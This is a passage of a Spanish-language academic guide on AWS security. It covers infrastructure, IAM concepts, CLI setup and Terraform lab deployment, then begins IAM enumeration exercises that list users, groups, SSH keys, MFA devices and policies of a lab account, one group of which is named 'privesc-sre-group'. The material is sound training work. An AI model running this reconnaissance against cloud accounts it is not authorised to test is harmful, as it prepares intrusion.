seguras en el mundo de la computacion en la nube. Actualmente, AWS tiene 32 regiones en todo
el mundo, cada una con 102 zonas de disponibilidad, lo que proporciona una capacidad
significativa para la implementacion de servicios. Ademas, cuenta con mas de 550 puntos de
presencia en todo el mundo y 13 cachés periféricas regionales. Para expandir atin mas su alcance,
se han anunciado planes para agregar 12 zonas de disponibilidad y 4 regiones adicionales en
paises como Canada, Malasia, Nueva Zelanda y Tailandia. También se pueden identificar 35
zonas locales, 29 zonas de Wavelength (extensiones de una region de AWS para aplicaciones
con baja latencia), 115 ubicaciones de Direct Connect (un servicio de red alternativo para
conectarse a AWS) y presencia en 245 paises.

La siguiente figura representa la ubicacion de las regiones actuales de AWS (iconos

verdes sobre el mapa), asi como las posibles nuevas regiones (iconos rojos sobre el mapa):



Figura 2 Regiones de AWS
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Fuente: AWS. Infraestructura global [imagen]. En: About AWS. [Consultado: 1 de abril de
2024]. Disponible en: https://aws.amazon.com/es/about-aws/global-infrastructure/
Seguridad Fisica de los Centros de Datos

Amazon Web Services (2024d) centra sus esfuerzos en garantizar la seguridad y alta
disponibilidad de su infraestructura de la siguiente manera:

Seleccion de Emplazamientos: Realiza evaluaciones medioambientales y geograficas
para evitar riesgos como inundaciones y condiciones climdticas extremas.

Redundancia: Disefa centros de datos para resistir fallos y redirigir el trafico en caso de
problemas. Usa un estandar N+1 para garantizar la capacidad adicional.

Disponibilidad: Identifica componentes criticos y los replica en zonas de disponibilidad
independientes. Permite la conmutacidn por error sin interrupciones.

Planificacion de Capacidad: Monitorea el uso de servicios para prepararse para la
demanda futura.

Acceso Fisico: Control estricto de acceso a empleados autorizados y terceros con

privilegios minimos.



Monitoreo y Registro: Vigilancia constante y registro de accesos, incluyendo sistemas
de deteccion de intrusos y CCTV (Circuitos Cerrados de Television).

Vigilancia y Deteccion: Control de condiciones climaticas, deteccion de incendios y
fugas de agua.

Administracion de Dispositivos: Manejo seguro y disposicion final de dispositivos al
final de su vida util.

Sistemas de Ayuda a las Operaciones: Mantenimiento preventivo de equipos y sistemas
de suministro eléctrico redundantes.

Gobernanza y Riesgo: Evaluacion continua de amenazas y auditorias externas para
cumplir con normativas y estandares de seguridad.
Clasificacion de los Componentes de AWS

Amazon Web Services (2024¢) proporciona una amplia seleccion de servicios en la nube
que cubren multiples areas tecnoldgicas. Estos servicios abarcan desde recursos para computo y
almacenamiento hasta bases de datos, andlisis de datos, redes, aplicaciones moviles,
herramientas de desarrollo, gestion, Internet de las cosas (IoT), seguridad y aplicaciones
empresariales. La diversidad de estos servicios permite a las empresas avanzar mas rapido,
reducir costos en tecnologias de la informacién y expandir sus operaciones de manera eficiente y
escalable. La siguiente representacion es una abstraccion general de los grupos de servicios que

AWS puede ofrecer:



Figura 3 Clasificacion de los Componentes de AWS
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Fuente: AWS. The power of AWS with Amazon Connect [imagen]. En: Amazon Connect.
[Consultado: 1 de abril de 2024]. Disponible en:
https://docs.aws.amazon.com/connect/latest/adminguide/related-services-amazon-connect.html
Modelo de Responsabilidad Compartida

La seguridad y el cumplimiento son aspectos que involucran tanto a Amazon Web
Services (2024f) como al cliente, bajo un principio de responsabilidad compartida. Este enfoque
presenta la ventaja de aliviar la carga operativa del cliente, ya que AWS se encarga de operar,
administrar y garantizar la seguridad de diversos componentes del sistema, incluyendo el sistema
operativo subyacente, la capa de virtualizacion y hasta la seguridad fisica de las instalaciones
donde se ejecutan los servicios. Por otro lado, el cliente asume la responsabilidad y la gestion del
sistema operativo de nivel superior, conocido como sistema operativo invitado, lo que implica
mantenerlo actualizado con parches de seguridad, ademas de gestionar cualquier otro software de
aplicacion relacionado y configurar los cortafuegos del grupo de seguridad proporcionado por

AWS.



La distribucion de responsabilidades puede variar segtin los servicios especificos que el
cliente utilice, como los integre en su entorno de tecnologia de la informacion, asi como las
regulaciones y leyes aplicables. Esta naturaleza compartida de la responsabilidad también brinda
la flexibilidad y el control necesarios para adaptar la implementacion segun las necesidades
especificas. Este modelo de responsabilidad compartida se suele describir en términos de
seguridad "de" la nube y seguridad "en" la nube. La seguridad "de" la nube se refiere a las
medidas de seguridad proporcionadas por AWS para proteger la infraestructura subyacente,
mientras que la seguridad "en" la nube hace referencia a las acciones y responsabilidades del
cliente para asegurar adecuadamente sus propios datos y aplicaciones en el entorno de la nube.

En la siguiente figura, se hace referencia a los niveles de responsabilidad entre el cliente
y AWS.

Figura 4 Modelo de Responsabilidad Compartida
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Fuente: AWS. Modelo de responsabilidad compartida [imagen]. En: Compliance. [Consultado:

1 de abril de 2024]. Disponible en: https://aws.amazon.com/es/compliance/shared-responsibility-

model/



Alcance de las Pruebas de Seguridad Dentro de AWS

Los clientes de Amazon Web Services (2024g) tienen la libertad de realizar evaluaciones
de seguridad o pruebas en su propia infraestructura de AWS sin necesidad de obtener aprobacion
especifica previa para los servicios enumerados en la seccion de "Servicios permitidos". AWS
también permite que sus clientes ejecuten sus herramientas de evaluacion de seguridad dentro del
espacio de AWS o en la infraestructura de otros proveedores de la nube, ya sea para realizar
pruebas en sus propias instalaciones, en el entorno de AWS o incluso en sistemas de terceros
contratados para este propdsito. Sin embargo, es importante destacar que cualquier prueba de
seguridad que involucre el uso de Command and Control (C2) requiere una autorizacion previa
antes de llevarse a cabo.

Es fundamental que las actividades que se realicen estén alineadas con la politica
establecida por AWS, tal como se describe en su documentacion. Es importante destacar que
AWS no autoriza a los clientes a llevar a cabo evaluaciones de seguridad por si mismos en su
infraestructura o en los servicios que ofrece. En caso de detectarse algin problema durante una
evaluacion de seguridad, es crucial comunicarse de inmediato con el equipo de Seguridad de
AWS.

JPor Qué Aprender Sobre Ciberseguridad Orientada a AWS?

En los ultimos afios, se ha observado un notable aumento en el interés de las empresas
por adoptar infraestructura basada en la nube. Segiin IVCISA- AWS Consulting Service (2024),
AWS ha mantenido su posicion como lider en el Cuadrante Magico de Gartner para
Infraestructura en Nube y Servicios de Plataforma (CIPS) durante trece afios consecutivos.
Gartner destaca que AWS es el proveedor con la mayor permanencia en este cuadrante, lo que

demuestra su solido historial en la nube. Desde hace 17 afios, AWS ha sido pionero en servicios



como Amazon Elastic Compute Cloud (Amazon EC2) y Amazon Simple Storage Service
(Amazon S3). Sus API se han convertido en un estandar de la industria, siendo ampliamente
adoptadas y emuladas por otros proveedores. Este reconocimiento destaca la capacidad de AWS
para la innovacién y su amplio conjunto de servicios en la computacion en la nube.

La siguiente figura es el Cuadrante Magico 2023 de Gartner para Infraestructura en Nube
y Servicios de Plataforma (CIPS):

Figura 5 Cuadrante Magico 2023
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[Consultado: 1 de abril de 2024]. Disponible en: https://aws.amazon.com/es/blogs/aws/aws-
named-as-a-leader-in-the-2023-gartner-cloud-infrastructure-platform-services-cips-magic-

quadrant-for-the-13th-consecutive-year/



Fase 2: Analisis del Servicio AWS IAM
Introduccion a IAM — (Identity and Access Management)

Identity and Access Management (IAM) de Amazon Web Services (2024h) ofrece un alto
grado de control de acceso altamente granular en el entorno de AWS. Este servicio le permite
definir con precision quiénes tienen la capacidad de acceder a qué recursos y servicios dentro de
su infraestructura, y bajo qué circunstancias. Utilizando politicas de IAM, puede administrar de
manera efectiva los permisos otorgados a su personal y sistemas, asegurandose de que se siga el
principio de otorgar los privilegios minimos necesarios. En esencia, IAM le permite ejercer un
control total sobre quién puede hacer qué en su entorno de AWS, lo que es esencial para
garantizar la seguridad y la administracion eficiente de sus recursos AWS. La siguiente figura
representa, desde un alto nivel, como se gestionan identidades y permisos desde AWS [AM:

Figura 6 Gestion de identidades y permisos desde AWS IAM
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Fuente: AWS. 5 consejos (y un bonus) para aumentar su resistencia a los ataques de ransomware
en AWS. [imagen]. En: Blogs. [Consultado: 1 de abril de 2024]. Disponible en:
https://aws.amazon.com/es/blogs/aws-spanish/5-consejos-y-un-bonus-para-aumentar-su-

resistencia-a-los-ataques-de-ransomware-en-aws/



Al crear una nueva cuenta en AWS, se establece una tnica identidad de inicio de sesion
que tiene acceso total a todos los servicios y recursos disponibles en la cuenta. Esta identidad se
conoce como el usuario raiz de la cuenta de AWS y se accede a ella mediante el correo
electronico y la contrasefia utilizados durante el proceso de creacion de la cuenta.

;Como Funciona IAM?

Inicialmente, un usuario humano o una aplicacion utilizan las credenciales de inicio de
sesion para autenticarse en Amazon Web Services (20241). La autenticacion se verifica cuando
las credenciales de inicio de sesion coinciden con una entidad principal, que puede ser un usuario
de IAM, un usuario federado, un rol de IAM o una aplicacion, en la que AWS confia.

Posteriormente, se realiza una solicitud para otorgar acceso a los recursos a la entidad
principal. Este acceso se concede como respuesta a una solicitud de autorizacion. Por ejemplo,
cuando un usuario inicia sesion en la consola por primera vez y se encuentra en la pagina de
inicio de la consola, aun no ha accedido a un servicio especifico. Cuando selecciona un servicio,
la solicitud de autorizacion se envia a ese servicio, que verifica si la identidad del usuario esta en
la lista de usuarios autorizados, qué politicas estan en vigor para controlar el nivel de acceso
concedido y cualquier otra politica relevante. Las entidades principales de su Cuenta de AWS o
de otras Cuentas de AWS en las que confie pueden realizar solicitudes de autorizacion.

Una vez autorizada, la entidad puede realizar operaciones en los recursos de su Cuenta de

AWS. La siguiente figura resume el funcionamiento de [AM de AWS:



Figura 7 ;Como funciona IAM?
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Fuente: AWS. 5 consejos (y un bonus) para aumentar su resistencia a los ataques de ransomware

Buckets
Objects

en AWS. [imagen]. En: Blogs. [Consultado: 1 de abril de 2024]. Disponible en:
https://aws.amazon.com/es/blogs/aws-spanish/5-consejos-y-un-bonus-para-aumentar-su-
resistencia-a-los-ataques-de-ransomware-en-aws/
;Qué es un Usuario de IAM?

Un usuario de Identity and Access Management (IAM) de Amazon Web Services (2024j)
es una entidad creada en AWS para representar al usuario o aplicacion que interacttia con AWS.
Este usuario estd compuesto por un nombre de usuario y credenciales. La siguiente figura

muestra ejemplos de usuarios en AWS.



Figura 8 Ejemplos de Usuario en AWS

Account
Group: Group: Group:
Admins Developers Test
Bob | Nate Cathy
Susan Brad Allen
DevApp1 TestApp1

Fuente: AWS. Informacion general sobre la administracion del acceso: permisos y politicas.
[imagen]. En: UserGuide. [Consultado: 1 de abril de 2024]. Disponible en:
https://docs.aws.amazon.com/es_es/[AM/latest/UserGuide/introduction_access-
management.html

Es relevante mencionar que algunos de estos usuarios pueden ser aplicaciones en
realidad. La caracteristica distintiva de un usuario de IAM es que no esta limitado a representar
necesariamente a una persona fisica real. Es factible crear un usuario de IAM para generar una
clave de acceso destinada a una aplicacion que opera en la infraestructura de la empresa y
necesita acceder a los recursos de AWS.

JQué es un Grupo de IAM?

Un grupo de usuarios de IAM es una coleccion de usuarios de IAM. Estos grupos
permiten la especificacion de permisos para multiples usuarios, lo que simplifica la gestion de
permisos para dichos usuarios. Los usuarios dentro de este grupo automaticamente heredan los
permisos asignados al grupo. De igual manera, si un empleado cambia de puesto dentro de la
organizacion, en lugar de editar los permisos individualmente, puede removerlo de los grupos de

usuarios anteriores y agregarlo a los nuevos grupos relevantes.



JQué es un Rol de IAM?

Un rol de Identity and Access Management (IAM) de Amazon Web Services (2024k) es
una entidad con permisos especificos que puede crearse en una cuenta de AWS. Aunque similar
a un usuario de IAM en cuanto a ser una identidad de AWS con politicas de permisos, un rol se
distingue en que puede ser asumido por cualquier usuario o entidad segiin sea necesario. A
diferencia de un usuario de IAM, cuya asociacién generalmente se realiza con una persona, un
rol no posee credenciales de acceso a largo plazo como contrasefias o claves permanentes. En
cambio, al asumir un rol, se proporcionan credenciales temporales y seguras para la sesion en
curso.

Los roles de IAM son utiles para delegar acceso a usuarios, aplicaciones o servicios que
normalmente no tendrian acceso a los recursos de AWS. Algunos casos comunes de uso de roles
de IAM incluyen:

e Asociar usuarios que necesitan acceso temporal a recursos en la nube con un rol
de IAM que otorgue permisos especificos durante ese periodo.

e Vincular servicios en la nube como Amazon EC2 o0 AWS Lambda a roles de [AM
para obtener acceso seguro a recursos especificos.

e Emplear roles de IAM en organizaciones que utilizan proveedores de identidad
(IdP) existentes, como Azure Active Directory (AD) u OpenlD, para proporcionar
acceso a la nube a usuarios gestionados por el IdP. Los usuarios existentes en un
AD pueden asumir un rol para acceder a recursos en la nube sin necesidad de
crear cuentas adicionales.

e Permitir que usuarios o servicios en una cuenta de la nube accedan a recursos en

otra cuenta, facilitando la colaboracion intercuenta. Por ejemplo, si un grupo de



desarrolladores en la cuenta A necesita colaborar con desarrolladores en la cuenta
B a través de AWS CodeBuild, se puede crear un rol de IAM en la cuenta B que
otorgue acceso a los desarrolladores de la cuenta A.

JQué es una Politica de IAM?

En AWS, la administracion del acceso se realiza mediante la creacion de politicas que se
asignan a identidades de IAM (como usuarios, grupos de usuarios o roles) o a recursos de
Amazon Web Services (20241). Una politica en AWS es un elemento que, al estar vinculado a
una identidad o recurso, define los permisos correspondientes. Cuando una entidad principal de
IAM (ya sea un usuario o un rol) realiza una solicitud, AWS evalua estas politicas para
determinar si la solicitud debe ser permitida o denegada. La mayoria de las politicas se
almacenan como documentos JSON en AWS.

Hay dos tipos principales de politicas segun lo que controlan:

e Politicas basadas en identidad: Estas politicas regulan las acciones que una
identidad (usuario, grupo o rol) puede llevar a cabo en qué recursos y en qué
condiciones. Dentro de estas politicas, hay dos subtipos:

o Politicas administradas: Son politicas independientes basadas en la
identidad que se pueden adjuntar a multiples usuarios, grupos y roles en la
cuenta de AWS. Existen dos categorias de politicas administradas:

= Politicas administradas por AWS: Creadas y gestionadas por
AWS.
= Politicas administradas por el cliente: Creadas y gestionadas por

el usuario en su cuenta de AWS. Estas politicas brindan un mayor



control sobre los permisos en comparacion con las politicas
administradas por AWS.
o Politicas incrustadas: Son politicas creadas y administradas directamente,
integradas en una tnica entidad principal, ya sea usuario, grupo o rol.

e Politicas basadas en recursos: Estas politicas determinan las acciones que una
entidad principal puede realizar en un recurso especifico y bajo qué
circunstancias. Son politicas en linea y no existen politicas administradas basadas
en recursos. Para permitir el acceso entre cuentas, se puede especificar una cuenta
completa o entidades de IAM de otra cuenta como la entidad principal en una
politica basada en recursos.

La siguiente figura representa el funcionamiento de las politicas del IAM en AWS:

Figura 9 Politicas en IAM de AWS
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HAL
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Resource @ 53 bucket ﬁ

Effect ALLOW or DENY

Fuente: Osamaoracle. AWS IAM Policy Basics. [imagen]. En: Blog. [Consultado: 1 de abril de

2024]. Disponible en: https://osamaoracle.com/2021/08/15/aws-iam-policy-basics/



JQué es ARN de IAM?

Los Nombres de Recursos de Amazon (ARN) de Amazon Web Services (2024m) son
identificadores inicos que se utilizan para referenciar de manera univoca los recursos dentro de
Amazon Web Services (2024n). Estos ARN son fundamentales para especificar con precision un
recurso en todo el entorno de AWS y se utilizan en una variedad de contextos, como la creacion
de politicas de control de acceso en IAM (Identity and Access Management), la asignacion de
etiquetas en Amazon Relational Database Service (Amazon RDS) y en las llamadas realizadas a
través de la API de AWS. La siguiente figura ilustra un ejemplo de esto:

Figura 10 Ejemplo de ARN de IAM

arn:aws:iam: :account:root

arn:aws:iam: :account:userfuser-name-with-path

arn:aws:iam: :account:group/group-name-with-path

arn:aws:iam: :account:role/role-name-with-path
arn:aws:iam::account:policy/policy-name-with-path

arn:aws:iam: :account:instance-profile/instance-profile-name-with-path
arn:aws:sts: :account:federated-user/user-name
arn:aws:sts::account:assumed-role/role-namefrole-session-name
arn:aws:iam: :account:mfa/virtual-device-name-with-path
arn:aws:iam: :account:u2f/u2f-token-id

arn:aws:iam: :account:server-certificate/certificate-name-with-path
arn:aws:iam::account:saml-provider/provider-name

arn:aws:iam: :account:oidc-provider/provider-name
Fuente: Autoria Propia
JQué es STS?
El Servicio de Token de Seguridad de Amazon Web Services (20240), conocido como
STS se encarga de generar y proporcionar credenciales de seguridad temporales a usuarios de
confianza. Estas credenciales temporales permiten controlar el acceso a recursos de AWS que
normalmente no estarian disponibles para el usuario. El conjunto de credenciales temporales

incluye una ID de clave de acceso, una clave de acceso secreta y un token de seguridad.



Usualmente, estas credenciales se utilizan con la funcion "AssumeRole" dentro de la propia
cuenta o para habilitar el acceso entre cuentas diferentes.

STS es un servicio que facilita la obtencion de credenciales temporales, lo que permite a
usuarios o servicios acceder de manera segura a recursos especificos de AWS durante un tiempo
limitado. Esto resulta especialmente util para garantizar la seguridad y el control de acceso en
situaciones en las que se necesita otorgar acceso temporal a recursos en AWS o para habilitar la
colaboracion entre diferentes cuentas de AWS.

La siguiente figura representa el funcionamiento de lo anteriormente mencionado:

Figura 11 AWS STS
E AWS Account "B"
E AWS Account "A" Q‘
8 8 J IAM Role Access lr Modify
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Fuente: DEVPRESS. AWS SSO VS Cross-account role-based IAM access. Why and how to use
roles? [imagen]. En: Opensource. [Consultado: 1 de abril de 2024]. Disponible en:
https://devpress.csdn.net/opensource/62f5269a7¢6682346618a2c8.html
Configuraciones y Acciones Basicas en el Servicio IAM de AWS
Accediendo a los Servicios Desde el Portal Web, SDK/API y la CLI de AWS
Hay diferentes formas de acceder a los recursos de AWS:
e Portal Web
e AWSCLI

e SDK/API



La siguiente figura representa dichas formas de acceder a los recursos de AWS:

Figura 12 Formas de Acceder a los Recursos de AWS

Fuente: AWS. ;Cual es la de AWS Command Line Interface? [imagen]. En: Useguide.
[Consultado: 1 de abril de 2024]. Disponible en:
https://docs.aws.amazon.com/es_es/cli/latest/userguide/cli-chap-welcome.html

Portal Web

La plataforma de gestion de Amazon Web Services (2024p) proporciona un método
seguro para acceder utilizando las credenciales de cuenta de AWS o Identity and Access
Management (IAM). Por razones de seguridad, las sesiones de inicio de sesion se cierran
automaticamente después de 12 horas. Los usuarios pueden explorar y utilizar cualquier servicio
de AWS a través de su navegador web favorito.

Visualizando el portal Web:

Enlace para acceder: https://console.aws.amazon.com/



Figura 13 Consola de AWS
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Fuente: AWS. AWS Management Console. [imagen]. En: Console. [Consultado: 1 de abril de
2023]. Disponible en: https://console.aws.amazon.com/

AWS CLI

La herramienta CLI de Amazon Web Services (2024q) ofrece una solucion completa para
la gestion de servicios en la nube. Simplifica el proceso al permitir a los usuarios administrar
multiples servicios de AWS directamente desde la linea de comandos y automatizar tareas
mediante scripts. Con AWS CLI, los usuarios pueden unificar el control y la automatizacion de
diversos servicios de AWS, lo que facilita la gestion de recursos en la nube. Para descargar AWS
CLI, simplemente hay que visitar el enlace proporcionado y seleccionar el sistema operativo
correspondiente para la instalacion.

https://docs.aws.amazon.com/cli/latest/userguide/getting-started-install.html

SDK/API

Un SDK, también conocido como Kit de Desarrollo de Software, se define como una
herramienta esencial para facilitar el desarrollo de aplicaciones que hacen uso de las API

(Interfaces de Programacion de Aplicaciones) ofrecidas por los diversos servicios de AWS. Estos



kits simplifican la interaccion con la infraestructura en la nube al proporcionar funciones y clases
predefinidas que hacen maés accesible la integracion de los servicios de Amazon Web Services
(2024r) en las aplicaciones desarrolladas por los usuarios.

Despliegue de los Ejercicios

Para el despliegue de los ejercicios que se mostrardn mas adelante, se hara uso de
Terraform. Se cuenta con multiples escenarios y cada uno se compone de diferentes recursos de
AWS que te permitiran obtener un aprendizaje estructurada y practico.

JQué es Terraform?

Terraform (2024), es una herramienta que permite aprovisionar infraestructura de manera
eficiente al permitir definir la configuracion de la infraestructura en la nube utilizando cédigo. Se
asemeja a herramientas como CloudFormation de Amazon Web Services (2024s) que se utilizan
para automatizar la infraestructura en AWS, pero a diferencia de CloudFormation, Terraform no
se limita a una plataforma especifica y puede utilizarse con multiples proveedores de nube.

Es de vital importancia que no se implemente ninguno de los ejercicios en un entorno de
produccion ni en conjuncidon con recursos sensibles.

Para instalar Terraform en un sistema basado en Linux, se pueden seguir estos tres
comandos:

> wget https://releases.hashicorp.com/terraform/1.2.9/terraform 1.2.9 linux_amd64.zip

> unzip terraform 1.2.9 linux_amd64.zip

> mv terraform /ust/local/bin/

Se deben desplegar los laboratorios utilizando los siguientes comandos de Terraform:

> terraform init

> terraform apply



Figura 14 Ejecucion de los comandos de Despliegue en Terraform

terraform 1init
Initializing modules...

Initializing the backend...
Initializing provider plugins...

— Reusing previous version of hashicorp/aws from the dependency lock file
— Using previously-installed hashicorp/aws v3.75.1

aws sts get-caller—identity

"UserId": “AIDAZPSPD
"Account": "65192717
"Arn": "arn:aws:iam::651927172911 user/Spartan-SuperAdmin”

terraform apply

Fuente: Autoria Propia
Estructura de Comandos en el CLI de AWS

La AWS Command Line Interface de Amazon Web Services (2024t) es una utilidad de
codigo abierto que simplifica la interaccion con los servicios de AWS a través de comandos en la
linea de comandos de su sistema. Con una configuracion sencilla, la AWS CLI permite utilizar
comandos que ofrecen las mismas funcionalidades que la Consola de Administraciéon de AWS,
pero desde la comodidad de la terminal. Esto significa que los usuarios pueden gestionar y
automatizar facilmente sus recursos de AWS sin necesidad de recurrir a la interfaz grafica de
usuario en un navegador web.
Autenticacion con AWS CLI

Para la autenticacion, se debe ejecutar el siguiente comando y posteriormente asignar los

valores del Access Key, Secret Access Key, la region y el formato de salida:



Figura 15 Autenticacion con AWS CLI

% aws configure

AWS Access Key ID [None]: AKIAIOSFODNNZEXAMPLE

AWS Secret Access Key [None]: wlalrXUtnFEMI/K7MDENG/bPxRFfiCYEXAMPLEKEY
Default region name [None]: us-west-2

Default output format [None]: ENTER

Fuente: Autoria Propia
Creacion de Perfiles con Nombre

Se pueden crear perfiles adicionales de dos maneras diferentes en AWS. La primera es a
través del comando "aws configure", usando la opcion "--profile". La segunda es anadiendo
manualmente entradas a los archivos de configuracion y credenciales. Un ejemplo de esto seria
un archivo de credenciales que contiene dos perfiles. El primero, denominado [default], se
emplea automaticamente cuando no se especifica un perfil al ejecutar un comando de la AWS
CLI. El segundo perfil se activa al utilizar el pardmetro "--profile user1" al ejecutar un comando
de la AWS CLI. Esto se puede visualizar en la ejecucion de los comandos como se muestra en la
siguiente figura:

Figura 16 Creacion de perfiles con nombre
[default] (3|
aws_access_key 1d=AKTATOSFODNN7EXAMPLE
aws_secret_access_key=wJlalrXUtnFEMI/K7MDENG/bPxRF1CYEXAMPLEKEY
[userl]

aws_access_key 1d=AKIAI44QH8DHBEXAMPLE
aws_secret_access_key=je7MtGhCLwBF/2Zp3Utk/h3yCo8nubEXAMPLEKEY

Fuente: Autoria Propia
La AWS CLI sigue un formato de linea de comandos multipartes que requiere que los

elementos se especifiquen en un orden especifico. Primero, se llama al programa de AWS como



base. Luego, se incluye el comando de nivel superior, que suele corresponder a un servicio de
AWS compatible con la AWS CLI. A continuacion, se agrega el subcomando que indica la
operacion que se desea llevar a cabo. Finalmente, se pueden incluir opciones o parametros
generales de la AWS CLI necesarios para la operacion, los cuales pueden ser especificados en
cualquier orden después de los tres primeros elementos. Si se especifica un parametro exclusivo
mas de una vez, solo se tomara en cuenta el ultimo valor proporcionado

Estructura del comando:

> aws <comando o servicio> <Sub-Comando> [Opciones y parametros|]

En la siguiente figura, se puede apreciar un comando de ejemplo en donde se muestra
como utilizar el servicio de S3 para listar el contenido de un Bucket, con un parametro que
proporcionara un listado recursivo sobre el Bucket indicado:

Figura 17 Ejemplo de comando para utilizar el servicio de S3 para listar el contenido

Sub-Comando

aws 1

n

E:}'/spar‘tan-data-cr‘it icﬂ --recursive

Servicio opcion Parametro

Fuente: Autoria Propia
El Whoami de AWS

Para validar que la autenticacion se realizo con éxito, simplemente se debe ejecutar el
siguiente comando:

> aws sts get-caller-identity



Figura 18 Ejecucion del comando aws sts get-caller-identity

C:\Users\Gerh> aws sts get—caller—identity

"UserId": "AIDAZPSPDG4X455XMXQQB",
"Account": "651927172911",
"Arn": “arn:aws:lam: 3651927172911 user/Spartan-SuperAdmin“

Fuente: Autoria Propia
Otra manera de validar con que usuario esta autenticada la sesion es:
> aws iam get-user

Figura 19 Ejecucion del comando aws iam get-user

\Users\Gerh= aws ilam get-user
"User": {

“Path": "/",

"UserName": "Spartan—-SuperAdmin”,

"UserId": "AIDAZPSPDG4X4SSXMXQQB",

"Arn": "arn:aws:lam::651927172911:user/Spartan-5uperAdmin”,
"CreateDate" - "2022-83-14T17-01:-49+00-068

||-|-ag5|| - [
r
1

“"Key": “test",
"Value"- "exploitland"

Fuente: Autoria Propia
Almacenamiento de Credenciales en Archivo Plano
Cuando se realiza una autenticacion, automaticamente estas credenciales que contienen el
Access Key y el Secret Access Key, se almacenan en los siguientes directorios:
e (Windows) - C:\Users\Gerh\.aws\credentials

e (Linux) - /root/.aws/credentials



e (Linux) - /home/User/.aws/credentials
El archivo normalmente tiene la siguiente composicion:

Figura 20 . Estructura del archivo plano

B *credentials: Bloc de notas

Archivo Editar Ver

[default]
aws access key id = AKTAXOOOGOOK
aws secret access key = gadXQO00000O00OO000

Fuente: Autoria Propia
Si durante un ejercicio se requiere autenticar con un Token, se especifica asi:
Figura 21 Estructura del archivo plano con Token
E  *credentials: Bloc de notas

Archivo Editar Ver

[default]

aws_access key id = AKTXXXX
aws_secret access key = gaXxXX
aws_session_token = MyToken

Fuente: Autoria Propia
Datos alojados en el archivo de credentials:
aws_access_key id = Clave de acceso de AWS — (AWS access key).
aws_secret_access key = Clave secreta de AWS. — (AWS secret key).
aws_session_token = Token de sesion de AWS. Solo se requiere un token de sesion si

esta usando credenciales de seguridad temporales.



Fase 3: Ejercicios de Verificacion de la Configuracion de IAM
Es ideal ejecutar los siguientes comandos para recopilar informacion sobre la
infraestructura relacionada al servicio de IAM.
Enumerando usuarios
Este comando devuelve todos los usuarios de la cuenta de AWS:
> aws iam list-users
Figura 22 Listar todos usuarios

PS C:\Users\Gerh> aws iam list-users
{
"Users": [
{

“Path“: ufu‘

"UserName": "gerardo.eliasib",

"UserId": "AIDAZPSPDGUX2ZNWG3GBVF",

"Arn": "arn:aws:iam::651927172911:user/gerardo.eliasib”,
"CreateDate": "2822-95-06T14:U40:09+80:880"

"Path": u/u‘

"UserName": "Spartan—-EC2",

"UserId": "AIDAZPSPDGUXWNDCFVG36",

"Arn": "arn:aws:iam::651927172911:user/Spartan-EC2",
"CreateDate": "2822-85-86T14:36:05+80:80"

“Path“: ufu‘

"UserName": "Spartan-Lambda",

"UserId": "AIDAZPSPDGUX2XO5U3ZB6",

"Arn": "arn:aws:iam::651927172911:user/Spartan-Lambda",
"CreateDate": "2822-85-06T14:35:21+808:80"

"Path": u/u‘

"UserName": "Spartan-SuperAdmin",

"UserId": "AIDAZPSPDGUXUSSXMXQQB",

"Arn": “"arn:aws:iam::651927172911:user/Spartan-Superadmin®,
"CreateDate": "2822-83-14T17:01:49+80:88"

Fuente: Autoria Propia
Este comando devuelve todos los grupos de un usuario especificado:

> aws iam list-groups-for-user --user-name Usuario



Figura 23 Listar los usuarios de un grupo

PS C:\Users\Gerh> aws iam list-groups—for-user gerardo.eliasib
i
"Groups”: [
5

i

"path": II/II|
"GroupName": "Spartan-Developers",

"GroupId": "AGPAZPSPDGUXZ6ZGYTMHO",
"Arn": "arn:aws:iam::651927172911:group/Spartan-Developers",
"CreateDate": "2022-85-06T14:39:30+00:00"

Fuente: Autoria Propia

Este comando devuelve informacidn sobre las claves publicas SSH asociadas al usuario
especificado:

> aws iam list-ssh-public-keys --user-name Usuario
Figura 24 Listar las claves publicas SSH asociadas al usuario especificado

C:\Users\Gerh> aws iam list-ssh-public-keys Spartan-SuperAdmin
"SSHPublicKeys": [
r

1

"UserName" : "Spartan-SuperAdmin",

HPublicKeyId": "APKAZPSPDGAX4K4AWTKSL",
Status":- "Active",
“UploadDate": "2022-85-10T16:07:47+080:080"

Fuente: Autoria Propia

Este comando devuelve informacion sobre las claves publicas SSH asociadas al usuario
especificado:

> aws iam get-ssh-public-key --user-name Usuario --encoding PEM --ssh-public-key-id

ID



Figura 25 Listar informacion sobre las claves publicas SSH asociadas al usuario

S C:\Users\Gerh> aws 1am get-ssh-public-key Spartan-SuperAdmin APKAZPSPDC

uKIvCi7oPEpselFTezZERSEX

Fuente: Autoria Propia

Este comando devuelve informacion sobre los certificados de firma asociados con el
usuario especificado:

> aws iam list-signing-certificates --user-name Usuario
Figura 26 Listar informacion sobre los certificados de firma asociados con el usuario

C:\Users\Gerh= aws 1lam list-signing-certificates Spartan-SuperAdmin

"Certificates": [1

Fuente: Autoria Propia
Este comando devuelve los dispositivos MFA virtuales definidos en la cuenta de Amazon
Web Services:

> aws iam list-virtual-mfa-devices



Figura 27 Listar los dispositivos MFA virtuales definidos en la cuenta de AWS

\Users\Gerh> aws iam list-virtual-mfa-devices

"VirtualMFADevices": [

T
8

"SerialNumber”: "arn:aws:iam::651927172911:mfa/root-account-mfa-device",

"User": A

911",
. 51927172
CreateDate": i -11T _
"PasswordLastUsed": "2822-85-10T15:52:
}'r

"EnableDate": "2021-12-31T02:46:48

Fuente: Autoria Propia
Este comando devuelve todas las politicas gestionadas, adjuntas al usuario especificado:
> aws iam list-attached-user-policies --user-name Usuario

Figura 28 Listar todas las politicas gestionadas

PS C:\Users\Gerh> aws iam list-attached-user-policies gerardo.eliasib

i

"attachedPolicies”: []

¥

Fuente: Autoria Propia

Este comando devuelve todas las politicas en lineas incrustadas en el usuario de IAM
especificado:

> aws iam list-user-policies --user-name Usuario
Figura 29 Listar todas las politicas en lineas incrustadas en el usuario de IAM

PS C:\Users\Gerh> aws iam list-user-policies gerardo.eliasib

i

"policyNames”: []

PS C:\Users\Gerh>

Fuente: Autoria Propia



Este comando devuelve todos los grupos de IAM:
> aws iam list-groups

Figura 30 Listar los grupos de IAM

PS C:\Users\Gerh> aws iam list-groups
i
"Groups": [
i

"path": ||‘f||‘
"GroupMame": "Group—Root-Spartan",
"GroupId": "AGPAZPSPDGUXZL2CHT6AA",
"ATNn": "arn:aws:iam::651927172911:group/Group—Root-Spartan",
"CreateDate": "2021-08-11T905:54:30+00:00"

"path": ||f||‘

"GroupName": "privesc-sre-group",

"GroupId": "AGPAZPSPDGUX2JA2VIOUG",

"Arn": "arn:aws:iam::651927172911:group/privesc-sre—group”,
"CreateDate": "2822-85-06T21:35:87+600:00"

"path": ||I|| .

